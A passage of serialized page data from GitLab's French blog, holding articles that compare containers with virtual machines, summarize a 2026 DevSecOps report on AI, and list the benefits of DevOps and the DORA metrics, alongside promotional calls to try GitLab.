réduire le nombre d'étapes manuelles ou les délais d'attente. »*\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/UnUfp7pKnEQ?si=qcX2Qm3zpgQOV4xy\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Southwest Airlines est une société au chiffre d'affaires de près de 24 milliards de dollars basée à Dallas, au Texas. Avec 72 000 employés, elle dessert 120 destinations et effectue 4 000 vols par jour.  Southwest Airlines transporte plus de passagers via des vols nationaux que toute autre compagnie aérienne.*\n\nVous souhaitez en savoir plus sur GitLab ? Consultez nos [témoignages clients](https://about.gitlab.com/fr-fr/customers/).\n",[961,962,816,933],"DevOps","DevOps platform",{"slug":964,"featured":652,"template":806},"southwest-looking-to-help-developers-take-flight",{"category":706,"slug":704,"posts":966},[967,979,991],{"content":968,"config":977},{"title":969,"description":970,"authors":971,"date":973,"body":974,"category":704,"tags":975,"heroImage":976},"Conteneurs et machines virtuelles : quelle différence ?","Les conteneurs et les machines virtuelles sont deux approches de virtualisation aux architectures différentes. Découvrez-en davantage sur leur fonctionnement et leurs principales différences.  ",[972],"GitLab France Team","2026-03-03","Les conteneurs et les machines virtuelles sont deux technologies de virtualisation des ressources, essentielles pour le développement logiciel moderne. La machine virtuelle propose une copie numérique complète d'une machine physique, tandis que le conteneur partage le noyau du système d'exploitation hôte et n'embarque que les dépendances applicatives nécessaires à l'exécution de l'application.\n\nDans cet article, découvrez les différences architecturales entre ces deux approches et leurs champs d'application respectifs.\n\n> Essayez [GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) gratuitement dès aujourd'hui !\n\n## Qu’est-ce qu’une machine virtuelle ?\n\n### Définition et fonctionnement\n\nLa machine virtuelle, ou virtual machine (VM) est un environnement informatique entièrement virtualisé qui reproduit virtuellement ses propres composants (CPU, GPU, mémoire RAM, disque dur et carte réseau) et exécute son propre système d’exploitation (OS).\n\nPlusieurs machines virtuelles peuvent coexister sur une même machine physique, chacune isolée des autres.\n\nLa création d'une machine virtuelle est rendue possible grâce à l'installation d'un hyperviseur sur un OS hôte. Cet outil de virtualisation effectue la partition des ressources matérielles et affecte des quotas système dédiés (processeur, mémoire, stockage, réseau) à chaque machine virtuelle.\n\nIl existe deux types d'hyperviseurs : les hyperviseurs de Type 1 (installés directement sur le matériel physique) et de Type 2 (installés sur un système d'exploitation hôte).\n\n### Avantages et limites de la machine virtuelle\n\nLa technologie de machine virtuelle offre une isolation forte sur machine physique. Résultat, le déploiement des machines virtuelles s'effectue dans un environnement étanche et sécurisé. Même si une machine virtuelle est piratée, elle ne pourra pas contaminer les autres machines. \n\nLe principe de fonctionnement via hyperviseur assure également une compatibilité optimale avec de multiples environnements. Une machine virtuelle peut ainsi être déployée sur différents systèmes d’exploitation hôtes comme Windows, Linux, macOS ou un serveur physique.\n\nToutefois, la machine virtuelle classique présente un inconvénient majeur : sa consommation de ressources. Elle est plus lourde qu’un conteneur, car chaque machine virtuelle embarque un système d’exploitation complet. Ce système a également tendance à offrir des démarrages plus longs que la [conteneurisation](https://about.gitlab.com/fr-fr/blog/what-is-containerization/ \"Qu'est-ce que la conteneurisation ?\"), plus légère et rapide.\n\n## Qu’est-ce qu’un conteneur ?\n\n### Définition et fonctionnement\n\nLe conteneur est une approche alternative de virtualisation, un paquet qui contient toutes les dépendances nécessaires à l'exécution d'une application logicielle (bibliothèques, codes tiers, fichiers, etc.). Il reproduit la couche applicative d'un système d'exploitation, mais sans ses composants externes. Il est donc beaucoup plus léger qu'une machine virtuelle. \n\nUn conteneur peut être exécuté isolément sur n'importe quel système d'exploitation en parallèle d'autres conteneurs, tous partageant le kernel (noyau) de l'OS hôte. Si [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ \"Qu'est-ce que Docker ?\") est l’outil de référence des équipes de développement pour la gestion des conteneurs, la plateforme [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") intervient quant à elle à un niveau supérieur en orchestrant ces conteneurs à grande échelle, en s'appuyant sur des moteurs d'exécution tels que containerd ou CRI-O.\n\n### Avantages et limites des conteneurs\n\nL'avantage premier du conteneur est sa légèreté et sa rapidité de déploiement. Vous déployez l’image du conteneur sur n’importe quel environnement compatible et l'application est déjà fonctionnelle, avec des démarrages quasi instantanés.\n\nAu contraire de la machine virtuelle, la virtualisation par conteneur est fortement dépendante de l'environnement hôte, car elle ne reproduit pas un nouvel OS complet. De plus, la compartimentation est moins optimale qu'avec la machine virtuelle, en raison du partage du kernel. Cela signifie qu'une vulnérabilité du kernel pourrait potentiellement affecter tous les conteneurs exécutés sur cet hôte.\n\n## Conteneurs vs machines virtuelles : les principales différences\n\n| **Critères**         | **Conteneur**                                                                                                                                                                                                                                                                                                                                                                                                  | **Machine virtuelle**                                                                                       |\n| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- |\n| **Architecture**     | Virtualisation au niveau du système d’exploitation                                                                                                                                                                                                                                                                                                                                                             | Virtualisation au niveau matériel via un hyperviseur                                                        |\n| **Performances**     | Démarrage rapide en quelques secondes et utilisation des ressources plus faible                                                                                                                                                                                                                                                                                                                                | Démarrage plus lent que les conteneurs et consommation élevée en mémoire et CPU                             |\n| **Sécurité**         | Isolation au niveau du kernel via espaces de nommage et cgroups                                                                                                                                                                                                                                                                                                                                                | Isolation au niveau matériel (plus forte)                                                                   |\n| **Usages**           | Pour les [microservices](https://about.gitlab.com/fr-fr/topics/microservices/ \"Qu'est-ce qu'un microservice ?\"), applications [cloud-native](https://about.gitlab.com/fr-fr/topics/cloud-native/ \"Qu'est-ce que l'approche cloud-native ?\"), orchestration, [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), déploiements rapides et continus | Pour les applications héritées qui nécessitent une isolation complète et différents systèmes d’exploitation |\n| **Coûts et gestion** | Moins coûteux en ressources et en maintenance                                                                                                                                                                                                                                                                                                                                                                  | Plus coûteux à exploiter (licences, ressources matérielles)                                                 |\n\n### Architecture\n\nLes conteneurs et les machines virtuelles ne présentent pas la même architecture. Les machines virtuelles embarquent leur propre OS complet, alors que les conteneurs ne font que partager le noyau du système d'exploitation hôte. Ils n'exécutent que les applications qu'ils contiennent, nécessitent moins de ressources matérielles, mais offrent une isolation moins stricte que les machines virtuelles. \n\n### Performance et consommation\n\nSur ce point, les conteneurs ont clairement l'avantage. Ils démarrent quasi instantanément quand les machines virtuelles peuvent mettre plusieurs minutes pour s'exécuter. Cette différence s'explique par les ressources plus importantes consommées par les machines virtuelles. De leur côté, les conteneurs, étant beaucoup plus légers, sont également beaucoup moins gourmands en ressources.\n\n### Sécurité\n\nLa machine virtuelle offre une isolation plus stricte. Chaque machine virtuelle invitée est indépendante du système et des autres machines. Cela assure aux utilisateurs une protection complète. Les conteneurs partagent le noyau de l'OS hôte, leur étanchéité est donc moindre. Cependant, ils utilisent des mécanismes de sécurité du kernel (espaces de nommage, cgroups, sandboxing) pour atteindre un niveau d'isolation robuste, à condition que l'OS hôte soit correctement configuré et maintenu à jour.\n\n### Scalabilité et DevOps\n\nLes conteneurs sont spécialement conçus pour les environnements DevOps et les architectures cloud-native.\n\nIls offrent une excellente scalabilité, ce qui représente un atout majeur pour les pipelines CI/CD et le développement agile.\n\nConcrètement, vous disposez d'une solution qui se met automatiquement à l'échelle selon vos besoins, grâce à des orchestrateurs comme Kubernetes. Cette flexibilité est devenue indispensable, notamment dans les secteurs à forte variabilité de charge.\n\nLes machines virtuelles sont davantage adaptées à des applications monolithiques où l'ensemble du code et des fonctionnalités sont implémentés dans un programme unique. Avec ce modèle, vous devez modifier le code source, créer et déployer une version mise à jour de l’application complète sur la machine virtuelle. Elles peuvent aussi évoluer, mais nécessitent davantage de ressources matérielles et de temps de déploiement.\n\nPour tirer pleinement parti des conteneurs en production, deux outils se distinguent : Kubernetes pour l'orchestration, et GitLab pour l'automatisation des pipelines CI/CD. Voici comment ils s'articulent.\n\n## Kubernetes et GitLab\n\nKubernetes est un système d’orchestration [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") initié par Google et aujourd’hui gouverné par la Cloud Native Computing Foundation. Il permet la création et la gestion d'applications conteneurisées avec une infrastructure flexible et évolutive. Kubernetes représente une solution très efficace pour développer des applications de type microservices plus rapidement, sans être limité à une infrastructure fixe.\nKubernetes est une solution cloud-native. Vous pouvez ainsi le déployer dans n'importe quel environnement de ce type (cloud public, privé ou hybride). Une caractéristique utile, notamment pour les entreprises qui utilisent plusieurs fournisseurs de services cloud. Vous gagnez en flexibilité et réduisez votre dépendance à un fournisseur cloud unique.\n\nL'autre grande force de Kubernetes est sa capacité d'évolutivité. Les applications développées évoluent automatiquement selon vos besoins. Vos infrastructures disposent d'une disponibilité optimale, même en cas de hausse du trafic ou de pic de charge.\n\nKubernetes intègre enfin tous les outils nécessaires pour assurer une surveillance efficace : tableaux de bord intuitifs, outils de supervision (Prometheus, Grafana), alertes, etc.\n\n### GitLab CI/CD et Kubernetes\n\nLa plateforme DevSecOps de GitLab facilite grandement la mise en place de projets conteneurisés et le développement cloud-native.\n\n[GitLab et Kubernetes](https://about.gitlab.com/fr-fr/solutions/kubernetes/ \"GitLab et Kubernetes\") fonctionnent de trois manières distinctes : \n\n* [Connectez votre cluster Kubernetes à GitLab](https://docs.gitlab.com/ee/user/clusters/agent/) pour déployer, gérer et surveiller vos solutions cloud natives.\n  Utilisez Kubernetes pour gérer vos [GitLab Runners](https://about.gitlab.com/fr-fr/blog/what-is-gitlab-runner/ \"Qu'est-ce qu'un GitLab Runner ?\") et adaptez la charge de travail selon vos besoins.\n  Exécutez GitLab sur un cluster Kubernetes.\n\nChacune de ces approches peut être utilisée ensemble ou séparément. Par exemple, une instance Omnibus GitLab s'exécutant sur une machine virtuelle peut déployer des logiciels stockés en son sein vers Kubernetes.\n\nAvec GitLab et Kubernetes, vous adaptez ainsi vos workflows aux contraintes de votre infrastructure, tout en conservant une intégration et une automatisation complètes.\n\n## Quand choisir un conteneur ou une machine virtuelle ?\n\nDans la plupart des cas, les conteneurs constituent le choix le plus adapté aux environnements modernes, grâce à leur légèreté, leur rapidité de déploiement et leur scalabilité native. Certains contextes spécifiques justifient cependant de privilégier la machine virtuelle. C'est ce que nous allons découvrir maintenant.\n\n### Quand privilégier la machine virtuelle ?\n\nLa conteneurisation offre une sécurité suffisante pour la plupart des entreprises. Toutefois, si vous avez besoin d'environnements entièrement cloisonnés, la machine virtuelle se révèle être une option intéressante.\n\nPrenons un exemple. Votre entreprise de cybersécurité héberge plusieurs environnements de test pour analyser des malwares. Dans cette situation, la partition doit être optimale pour éviter une potentielle contamination entre les systèmes. Il est donc préférable d'utiliser une machine virtuelle.\n\nLa machine virtuelle s'impose également pour les tests en environnements multi OS. Si vous souhaitez tester des logiciels sur plusieurs systèmes d'exploitation (Windows, Linux et macOS), vous pouvez le faire à partir d'une seule machine physique. Vous faites ainsi des économies de matériel.\n\nPlus globalement, les machines virtuelles sont surtout utilisées pour les applications monolithiques ou anciennes. Si votre entreprise est gérée via un ERP développé il y a plusieurs années sur un OS hôte obsolète, la transition conteneur risque d'être complexe (migration progressive du code, refonte architecturale, etc.).\n\nIl est donc préférable de la faire tourner sur une machine virtuelle, mieux adaptée à ce type de structure logicielle.\n\n### Quand adopter les conteneurs ?\n\nAujourd'hui, les développements applicatifs s'appuient sur un modèle de microservices. Cette structure permet de tester, gérer, mettre à jour et déployer chaque module d'un logiciel, indépendamment des autres.\n\nPour arriver à ce résultat, il faut pouvoir disposer d'une distribution optimale des ressources entre les différents services. C'est exactement ce que permet la conteneurisation, grâce à sa structure légère et modulaire.\n\nCet aspect facilite grandement le travail des équipes [Devops](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ?\") qui profitent de déploiements [CI/CD](https://about.gitlab.com/fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation/ \"Qu'est-ce que l'approche CI/CD ?\") plus rapides et fréquents. Une méthode qui limite les erreurs liées aux importantes mises à jour grâce à une itération continue.\nLà où les conteneurs sont particulièrement efficaces, c'est lorsque l'on aborde la question de la scalabilité et de la mise à niveau. \n\nAvec la conteneurisation, l'ajout, le retrait et l'ajustement des microservices s'effectuent automatiquement, sans intervention manuelle ni interruption du service. Vous optimisez ainsi les ressources consommées, quelles que soient la charge, la demande ou la taille de votre infrastructure.\n\n## Coexistence machine virtuelle et conteneurs : la solution hybride à adopter\n\nIl est tout à fait possible de faire coexister au sein d'une même structure ces deux architectures. Par exemple, une banque peut utiliser des machines virtuelles pour ses systèmes de paiement critiques et des conteneurs pour ses applications mobiles et services cloud-native.\n\nLa machine virtuelle s'impose pour les applications complexes ou critiques qui ne peuvent pas être divisées en modules ou qui nécessitent une isolation totale.\nPour toutes les applications structurées en microservices (ou susceptibles de l'être), la conteneurisation est le modèle le mieux adapté.\n\nCependant, ce n'est pas toujours la meilleure solution. Si vous devez maintenir ou exécuter des logiciels anciens, analysez bien le rapport coût/bénéfice d'une transition en conteneurs. S'il est trop élevé ou techniquement risqué, la machine virtuelle reste plus pertinente.\n\n## Bonnes pratiques pour passer de la machine virtuelle au conteneur\n\nVous souhaitez passer de la virtualisation par machine virtuelle à la conteneurisation ? Voici comment procéder pour effectuer une transition optimale et sans rupture :\n\n* **Audit de votre structure :** identifiez les systèmes d’exploitation utilisés, les dépendances logicielles, les services en cours d’exécution pour repérer les composants critiques. L'objectif ? Vérifier la compatibilité de ces éléments avec la structure modulaire en conteneurs.\n* **Refactorisation et découplage :** la refactorisation consiste à adapter le code et les processus à une structure de logiciel en microservices. Ensuite, le découplage va isoler les services et bases de données pour les rendre indépendants les uns des autres.\n* **Empaquetage :** une étape charnière pour créer l’image du conteneur via un Dockerfile, un fichier de configuration texte qui décrit l'environnement de l'application : dépendances, variables d'environnement, commandes d'exécution, etc.\n* **Test et sécurité :** l’image conteneurisée doit être soumise à une série de tests rigoureux avant le déploiement en production. Des tests automatisés unitaires, d’intégration, de charge et de sécurité pour assurer une stabilité totale.\n* **Déploiement :** c'est ici qu'entre en jeu [GitLab CI/CD](https://docs.gitlab.com/ci/). Avec GitLab CI/CD, vous déployez automatiquement vos conteneurs via l'intégration native Kubernetes. Avec les outils de monitoring intégrés à GitLab et d'autres solutions (Prometheus, Grafana), vous suivez en temps réel l’état de vos déploiements. \n\nQue vous optiez pour les conteneurs, les machines virtuelles ou une architecture hybride, l'essentiel est d'aligner votre choix technologique sur les besoins réels de votre infrastructure. \n\n> Essayez [GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) gratuitement dès aujourd'hui !",[961,706],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1763646158/crdpd8lt5fndfzbcl9ln.jpg",{"featured":652,"template":806,"slug":978},"containers-vs-virtual-machines",{"content":980,"config":989},{"title":981,"description":982,"authors":983,"heroImage":985,"date":986,"body":987,"category":704,"tags":988},"[Rapport] Comment l'IA redéfinit le DevSecOps en 2026 ?","Découvrez dans notre dernier rapport DevSecOps dédié à « L'ère du développement logiciel intelligent » comment concilier gains de productivité avec qualité, fiabilité et sécurité.",[984],"Manav Khurana","https://res.cloudinary.com/about-gitlab-com/image/upload/v1768217269/rnpqe3mbm3b8unj8ksrk.png","2026-01-12","L'IA promet une accélération majeure en matière d'innovation, mais la plupart des équipes logicielles font face à des défis cruciaux. Selon **notre dernier [rapport DevSecOps](https://learn.gitlab.com/fr-developer-survey/report-fr-fr-fr-devsecops-report-practitioner?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_gated-content_ai_fr_dsp25_fr) dédié à « L'ère du développement logiciel intelligent »**, le code généré par l'IA représente désormais 41 % de l'ensemble du travail de développement. \n\nPourtant, 63 % des professionnels DevSecOps français déclarent que l'IA complexifie la gestion de la conformité, et 78 % estiment que l'IA agentique créera des défis de sécurité sans précédent.\n\nC'est le paradoxe de l'IA : elle accélère le codage, mais la livraison logicielle ralentit car les équipes peinent à tester, sécuriser et déployer tout ce code.\n\n> **Pour accéder à notre rapport DevSecOps complet dédié à « L'ère du développement logiciel intelligent », cliquez [ici](https://learn.gitlab.com/fr-developer-survey/report-fr-fr-fr-devsecops-report-practitioner?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_gated-content_ai_fr_dsp25_fr).**\n\n## Les gains de productivité se heurtent à des goulots d'étranglement dans les workflows\n\nLe problème n'est pas l'IA en elle-même, mais la façon dont les logiciels sont développés aujourd'hui. Le [cycle de vie DevSecOps](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"SDLC\") traditionnel comporte des centaines de petites tâches que les équipes de développement doivent gérer manuellement : mise à jour des tickets, exécution des tests, demandes de revue, attente des approbations, résolution des conflits de merge, traitement des problèmes de sécurité. Ces tâches mobilisent en moyenne six heures par semaine pour chaque membre de l'équipe, selon notre étude, sans compter les 14 heures mensuelles dédiées à la conformité.\n\nLes équipes de développement génèrent du code plus vite que jamais. D'ailleurs, **100 % des professionnels interrogés affirment que l'IA leur a permis de gagner en productivité**. Parmi les domaines où les outils d'IA ont permis les gains d'efficacité les plus importants, nous retrouvons l'automatisation des tâches répétitives (44 %), les tests/assurance qualité (38 %) et la génération de code (37 %). \n\n![Domaines où les outils d'IA ont permis les gains d'efficacité les plus importants](https://res.cloudinary.com/about-gitlab-com/image/upload/v1768227474/rhxyjdxgk4zl5fzfhrbb.png)\n\nMais ce code continue de passer par des chaînes d'outils fragmentées, des transferts manuels et des processus déconnectés. \n\nEn France, **52 % des équipes DevSecOps utilisent plus de cinq outils pour le développement logiciel, et 47 % utilisent plus de cinq outils d'IA.** Plus préoccupant encore, 48 % des professionnels utilisent des outils d'IA non officiellement approuvés par leur entreprise.\n\nCette fragmentation crée des obstacles à la collaboration : 96 % des professionnels [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") font face à des éléments qui limitent la collaboration dans le cycle de vie du développement logiciel, notamment le manque de communication interfonctionnelle (34 %), les effets de silo organisationnels (31 %) et la multiplication des outils utilisés (29 %).\n\nLa solution n'est pas d'ajouter davantage d'outils. Il s'agit plutôt d'une orchestration intelligente qui rassemble les équipes logicielles et leurs agents d'IA à travers les projets et les cycles de release, avec une sécurité, une gouvernance et une conformité de niveau entreprise intégrées nativement.\n\n## Vers un partenariat humain-IA renforcé\n\nLes professionnels DevSecOps ne veulent pas que l'IA prenne le contrôle. Ils veulent des partenariats fiables. **75 % affirment que l'utilisation de l'IA agentique augmenterait leur satisfaction au travail, et 39 % envisagent un avenir idéal avec une répartition équitable entre les contributions humaines et l'IA**. Ils sont prêts à confier 33 % de leurs tâches quotidiennes à l'IA sans révision humaine, notamment pour la documentation (48 %), la création de tests (48 %) et les revues de code (44 %).\n\nCe que nous avons entendu de manière unanime de la part des professionnels DevSecOps, c'est que l'IA ne les remplacera pas, mais qu'elle transformera fondamentalement leurs rôles. **80 % pensent que l'IA modifiera significativement leur travail dans les cinq prochaines années**. Et fait notable, 68 % estiment que cela créera même davantage d'emplois d'ingénieurs. À mesure que le codage devient plus facile avec l'IA, les ingénieurs capables de concevoir des systèmes, d'assurer la qualité et d'apporter un contexte métier seront très demandés. 83 % des répondants affirment d'ailleurs que les ingénieurs qui adoptent l'IA assurent la pérennité de leur carrière.\n\nPoint important : **85 % s'accordent à dire qu'il existe des qualités humaines essentielles que l'IA ne remplacera jamais totalement**, notamment l'innovation (42 %), la vision stratégique (42 %), la créativité (41 %) et la collaboration (38 %).\n\n![Les contributions humaines les plus précieuses dans le SDLC](https://res.cloudinary.com/about-gitlab-com/image/upload/v1768227441/dqqo93d0gwtukb7wdvn5.png)\n\nAlors comment les organisations peuvent-elles combler le fossé entre la promesse de l'IA et la réalité des workflows fragmentés ?\n\n> **Vous souhaitez en savoir plus ? [Téléchargez notre rapport complet dédié à « L'ère du développement logiciel intelligent »](https://learn.gitlab.com/fr-developer-survey/report-fr-fr-fr-devsecops-report-practitioner?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_gated-content_ai_fr_dsp25_fr).** \n\n## Participez à GitLab Transcend\n\nParticipez le 10 février prochain à notre événement GitLab Transcend, où nous dévoilerons comment l'orchestration intelligente transforme le développement logiciel alimenté par l'IA. Vous découvrirez en avant-première la roadmap produit de GitLab et apprendrez comment les équipes résolvent des défis concrets en modernisant leurs workflows de développement avec l'IA.\n\nLes organisations qui réussissent dans cette nouvelle ère trouvent un équilibre entre l'adoption de l'IA et la sécurité, la conformité et la consolidation des plateformes. L'IA offre de véritables gains de productivité lorsqu'elle est implémentée de manière réfléchie. 81 % des professionnels estiment que l'adoption systématique de l'IA générera plus de retours à long terme que son utilisation pour des solutions tactiques rapides. Non pas en remplaçant les développeurs humains, mais en libérant les professionnels DevSecOps pour qu'ils se concentrent sur la réflexion stratégique et l'innovation créative.\n\n> **Inscrivez-vous dès aujourd'hui à [GitLab Transcend](https://about.gitlab.com/fr-fr/events/transcend/virtual/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_webcast_ai_fr_transcend_virtual) et découvrez comment l'orchestration intelligente peut aider vos équipes logicielles.**",[816,962,768],{"featured":13,"template":806,"slug":990},"devsecops-report-france",{"content":992,"config":1000},{"body":993,"date":994,"title":995,"description":996,"authors":997,"category":704,"tags":998,"heroImage":999},"Découvrez dans cet article comment le [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ?\") transforme la livraison logicielle en améliorant la collaboration entre les équipes, en automatisant les processus [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Approche CI/CD\"), en accélérant la mise sur le marché et en renforçant la sécurité et la qualité du code avec une approche DevSecOps.\n\n## Qu’est-ce que le DevOps ?\n\nLe terme **DevOps** désigne une approche unifiée du développement logiciel et des opérations informatiques. Elle vise à supprimer les silos organisationnels entre les équipes de développement (Dev) et d'opérations (Ops) pour créer une culture de la collaboration et améliorer la rapidité et la fiabilité des livraisons logicielles.\n\nLe DevOps ne se limite pas à une méthodologie ou à un ensemble d’outils : c’est avant tout une **culture** et un **cadre opérationnel** fondé sur trois piliers essentiels :\n\n1. L’automatisation du cycle de vie applicatif.\n2. La communication et la collaboration entre les équipes.\n3. L’amélioration continue des processus et des produits.\n\nCette approche s’inscrit pleinement dans les pratiques **[CI/CD (Intégration et Livraison continues)](https://about.gitlab.com/fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation/ \"CI/CD\")** modernes où vitesse, qualité et sécurité sont combinées.\n\n## Pourquoi adopter le DevOps ?\n\nLe DevOps répond directement aux enjeux liés aux cycles de développement qui se raccourcissent et à l’exigence accrue de fiabilité, en unifiant les processus de bout en bout : de la planification au déploiement, en passant par les tests et la supervision.\n\n### 1. Des équipes alignées\n\nLe DevOps élimine les silos historiques entre les équipes chargées du développement et des opérations. Les équipes collaborent sur un même pipeline, avec des objectifs partagés et des indicateurs communs. Cette approche collaborative réduit les transferts d’information, les malentendus et les délais liés aux validations successives.\n\nGitLab renforce cette collaboration en centralisant tout le cycle de vie logiciel, du commit à la mise en production, au sein d’une seule et même plateforme. \n\n### 2. L’automatisation comme levier de fiabilité\n\nLes [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") exécutent automatiquement les étapes critiques : build, tests, contrôle qualité, sécurité et déploiement et chaque livraison suit un \nprocessus standardisé et documenté.\n\nCette industrialisation réduit la dépendance aux actions manuelles, tout en garantissant la stabilité et la traçabilité du code.\n\nRésultat : des déploiements plus fréquents, reproductibles et sûrs, avec un taux d’échec nettement inférieur.\n\n### 3. Des environnements stables, des incidents réduits\n\nLes [pratiques DevOps](https://about.gitlab.com/fr-fr/blog/4-must-know-devops-principles/ \"Pratiques DevOps\") s’appuient sur l’**[Infrastructure as Code (IaC)](https://about.gitlab.com/fr-fr/topics/gitops/infrastructure-as-code/ \"Infrastructure as Code\")** pour garantir la cohérence entre le développement, les tests et la mise en production. Les configurations ne sont plus gérées manuellement, mais sont versionnées, validées et déployées via les pipelines. \n\nCe modèle élimine la plupart des erreurs liées aux différences d’environnement et en cas de défaillance, les équipes peuvent revenir à une version précédente en quelques secondes.\n\nL’effet sur les opérations est immédiat : un MTTR (mean time to repair) réduit, une meilleure prévisibilité et une confiance accrue dans chaque déploiement.\n\n### 4. Une culture d’amélioration continue\n\nLe DevOps repose sur une logique d’apprentissage permanent.\nLes performances sont mesurées à l’aide des **[métriques DORA](https://about.gitlab.com/fr-fr/solutions/value-stream-management/dora/ \"Métriques DORA\")** qui incluent la fréquence de déploiement, le délai de mise en production, le taux d’échec des changements, et le temps moyen de restauration. Ces indicateurs permettent aux équipes de mesurer et d'améliorer leurs performances DevOps.\n\nEn utilisant les [rapports personnalisés DORA](https://docs.gitlab.com/user/analytics/dora_metrics/) dans GitLab, les équipes transforment leurs pipelines en levier de performance mesurable.\n\n### 5. Sécurité intégrée, agilité préservée\n\nLe DevOps évolue progressivement vers une approche **[DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\")**, où la sécurité est intégrée à chaque étape du cycle de développement logiciel. \n\nLes contrôles de code, l’analyse des dépendances et l’analyse des conteneurs s’exécutent automatiquement dans les pipelines CI/CD.\n\nCette approche « shift-left » détecte et corrige les vulnérabilités avant qu’elles n’atteignent la production. Les équipes gagnent ainsi en efficacité : elles maintiennent la cadence des livraisons et renforcent la conformité.\n\nGitLab automatise l’ensemble de ces contrôles à chaque commit, garantissant un équilibre entre vitesse et sécurité.\n\n### 6. Des cycles de livraison plus courts\n\nLe DevOps accélère radicalement le passage du code à la production. Les itérations sont plus courtes, les versions plus fréquentes et les feedbacks plus rapides. Les entreprises peuvent ainsi expérimenter, ajuster et livrer au rythme du marché.\n\nLes équipes les plus matures déploient jusqu'à plusieurs centaines de fois plus souvent que les modèles traditionnels. Cette vitesse maîtrisée transforme la mise en production en un processus régulier plutôt qu’en un événement risqué.\n\n### 7. Une efficacité opérationnelle mesurable\n\nEn automatisant les processus et en centralisant les outils, l’approche DevOps réduit la complexité opérationnelle. Les ressources humaines et matérielles sont optimisées, et la productivité des équipes augmente significativement.\n\nLes gains ne se limitent pas à la technique : la réduction du temps passé sur la maintenance libère du temps pour permettre aux équipes d’innover. Chaque heure économisée sur la coordination manuelle est une heure investie dans l’innovation et la création de valeur.\n\n### 8. Une meilleure expérience utilisateur\n\nLe DevOps raccourcit la distance entre les équipes techniques et les utilisateurs finaux. Des livraisons plus fréquentes permettent d’intégrer rapidement les retours utilisateurs, d’ajuster les fonctionnalités et de corriger les anomalies avant qu’elles ne deviennent critiques.\n\nLa stabilité des environnements garantit une expérience d’utilisation cohérente et fiable. Les utilisateurs bénéficient d’un produit plus fiable, plus réactif et en amélioration constante, preuve que l’excellence technique sert directement la satisfaction client.\n\n## Comment mesurer les avantages du DevOps ?\n\nLe succès d’une transformation DevOps se mesure par des indicateurs concrets, généralement regroupés dans le modèle **DORA** :\n\n- **Délai de mise en production** : délai moyen pour déployer un changement en production.\n- **Fréquence de déploiement** : fréquence de mise en production.\n- **Taux d’échec des changements** : pourcentage de déploiements entraînant un incident.\n- **Temps moyen de restauration (MTTR)** : temps moyen de restauration après un incident.\n\nCes métriques permettent d’évaluer objectivement la maturité DevOps d’une organisation et d’identifier les axes d’amélioration prioritaires. \n\nGitLab fournit ces indicateurs directement dans son interface, permettant un suivi en temps réel et une visibilité complète sur les performances CI/CD.\n\n## Adoptez une approche DevOps avec GitLab \n\nGitLab offre une **plateforme DevSecOps unifiée** qui centralise le code, les pipelines CI/CD, la sécurité et le déploiement dans un seul espace de travail.\n\nCette approche intégrée supprime la fragmentation des outils et facilite la collaboration entre les équipes.\n\nLes équipes peuvent :\n- gérer le code, les tests et la sécurité dans un même environnement,\n- automatiser les déploiements via des pipelines CI/CD complets,\n- suivre les métriques DORA pour mesurer l’efficacité de leur travail,\n- appliquer une gouvernance unifiée à l’échelle de l’organisation.\n\nGrâce à cette intégration, GitLab aide les entreprises à concrétiser rapidement les bénéfices du DevOps sans complexité additionnelle. \n\n## Conclusion\n\nAdopter une approche DevOps, c’est transformer la manière dont les organisations conçoivent, livrent et sécurisent leurs logiciels. Les avantages sont clairs : plus de rapidité, de fiabilité, de sécurité et de collaboration entre les équipes.\n\nEn combinant ces principes à une plateforme complète comme GitLab, les entreprises peuvent accélérer leur innovation tout en maîtrisant la qualité et les coûts.\n\n> **[→ Essayez GitLab Ultimate gratuitement et découvrez comment une plateforme DevSecOps intégrée peut amplifier les avantages de votre démarche DevOps.](https://about.gitlab.com/fr-fr/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr)**","2026-01-09","Quels sont les avantages du DevOps ?","Le DevOps est une approche qui unifie Dev et Ops pour accélérer les livraisons de logiciels, automatiser les pipelines CI/CD et améliorer la fiabilité, la qualité et la collaboration des équipes à chaque étape du cycle de développement 